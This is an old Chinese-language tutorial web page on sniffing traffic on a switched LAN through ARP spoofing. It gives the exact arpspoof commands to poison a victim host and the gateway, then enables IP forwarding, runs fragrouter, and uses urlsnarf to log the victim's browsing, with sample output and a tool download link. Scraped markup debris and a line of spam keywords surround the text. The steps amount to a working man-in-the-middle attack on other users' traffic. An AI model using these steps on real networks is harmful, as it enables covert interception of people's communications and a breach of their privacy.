• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • [TIP]交換環境下的SnifferZT

    發表于:2007-06-20來源:作者:點擊數: 標簽:
    通常在局域網環境中,我們都是通過交換環境的網關上網的,在交換環境中使用NetXray或者NAI Sniffer一類的嗅探工具除了抓到自己的包以外,是不能看到其他主機的 網絡 通信的。 但是我們可以通過利用ARP欺騙可以實現Sniffer的目的。 ARP協議是將IP解析為MAC地

       
      通常在局域網環境中,我們都是通過交換環境的網關上網的,在交換環境中使用NetXray或者NAI Sniffer一類的嗅探工具除了抓到自己的包以外,是不能看到其他主機的網絡通信的。
      
      但是我們可以通過利用ARP欺騙可以實現Sniffer的目的。
      

      ARP協議是將IP解析為MAC地址的協議,局域網中的通信都是基于MAC的。
      
      例如下面這樣的情況:
      
      在局域網中192.168.0.24和192.168.0.29都是通過網關192.168.0.1上網的,假定攻擊者的系統為192.168.0.24,他希望聽到192.168.0.29的通信,那么我們就可以利用ARP欺騙實現。
      
      1、 首先告訴192.168.0.29,網關192.168.0.1的MAC地址是192.168.0.24
      
      2、 告訴192.168.0.1,192.168.0.29的MAC地址是192.168.0.24。
      
      這樣192.168.0.29和192.168.0.1之間的數據包,就會發給192.168.0.24,也就是攻擊者的機器,這樣就可以聽到會話了。但是這么做的有一個問題,192.168.0.29發現自己不能上網了,因為原來發給192.168.0.1的數據包都被192.168.0.24接收了,而并沒有發給網關192.168.0.1。
      
      這時候192.168.0.24設置一個包轉發的東西就可以解決這個問題了,也就是從192.168.0.29收到的包轉發給192.168.0.1,在把從192.168.0.1收到的包發給192.168.0.29。這樣192.168.0.29根本就不會意識到自己被監聽了。
      
      具體實現:
      
      1、 欺騙192.168.0.29,告訴這臺機器網關192.168.0.1的MAC地址是自己(192.168.0.24)。
      
      [root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.29 192.168.0.1
      
      0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
      
      0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
      
      0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
      
      0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
      
      0:0:21:0:0:18 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:0:21:0:0:18
      
      ………………………………..
      
      這時候對192.168.0.29的ARP欺騙就開始了。
      
       
      
      2、 欺騙192.168.0.1,告訴網關192.168.0.29的MAC地址是自己(192.168.0.24)。
      
      [root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.1 192.168.0.29
      
      0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
      
      0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
      
      0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
      
      0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
      
      0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
      
      0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
      
       
      
      其實在這個時候192.168.0.29是可以發現的自己被欺騙了。在CMD下面使用ARP ?a命令:
      
      C:\WINNT>arp -a
      
      
      
      Interface: 192.168.0.29 on Interface 0x1000003
      
      Internet Address Physical Address Type
      
      192.168.0.1 00-50-56-40-07-71 dynamic
      
      192.168.0.24 00-50-56-40-07-71 dynamic
      
      兩個IP地址的MAC地址居然是一模一樣的!不過很少有人會這么做:-)。
      
       
      
      3、 設置一個包轉發
      
      [root@Linux fragrouter-1.6]# ./fragrouter -B1
      
      fragrouter: base-1: normal IP forwarding
      
      在這之前別忘了首先需要打開包轉發的功能
      
      [root@Linux /proc]# echo 1 >/proc/sys/net/ipv4/ip_forward
      
      萬事具備,可以開始SNIFFER了。
      
      例如想看看192.168.0.29在瀏覽什么地方:
      
      [root@Linux dsniff-2.3]# ./urlsnarf
      
      urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
      
      Kitty[18/May/2002:20:02:25+1100]"GET http://pub72.ezboard.com/flasile155...9.topic&index=7 HTTP/1.1" - - "http://www.google.com/search?hl=zh-CN&ie=UTF8&oe=UTF8&q=fdfds&btnG=Google%E6%90%9C%E7%B4%A2&lr=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
      
      Kitty - - [18/May/2002:20:02:28 +1100] "GET http://www.ezboard.com/ztyles/default.css HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
      
      Kitty - - [18/May/2002:20:02:29 +1100] "GET http://www1.ezboard.com/spch.js?customerid=1147458082 HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
      
      當然也可以知道其他………:-)
      
      
      整個過程需要在Linux下面實現,所用到的所有工具可以在http://www.netXeyes.org/arpsniffer.rar下載。

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>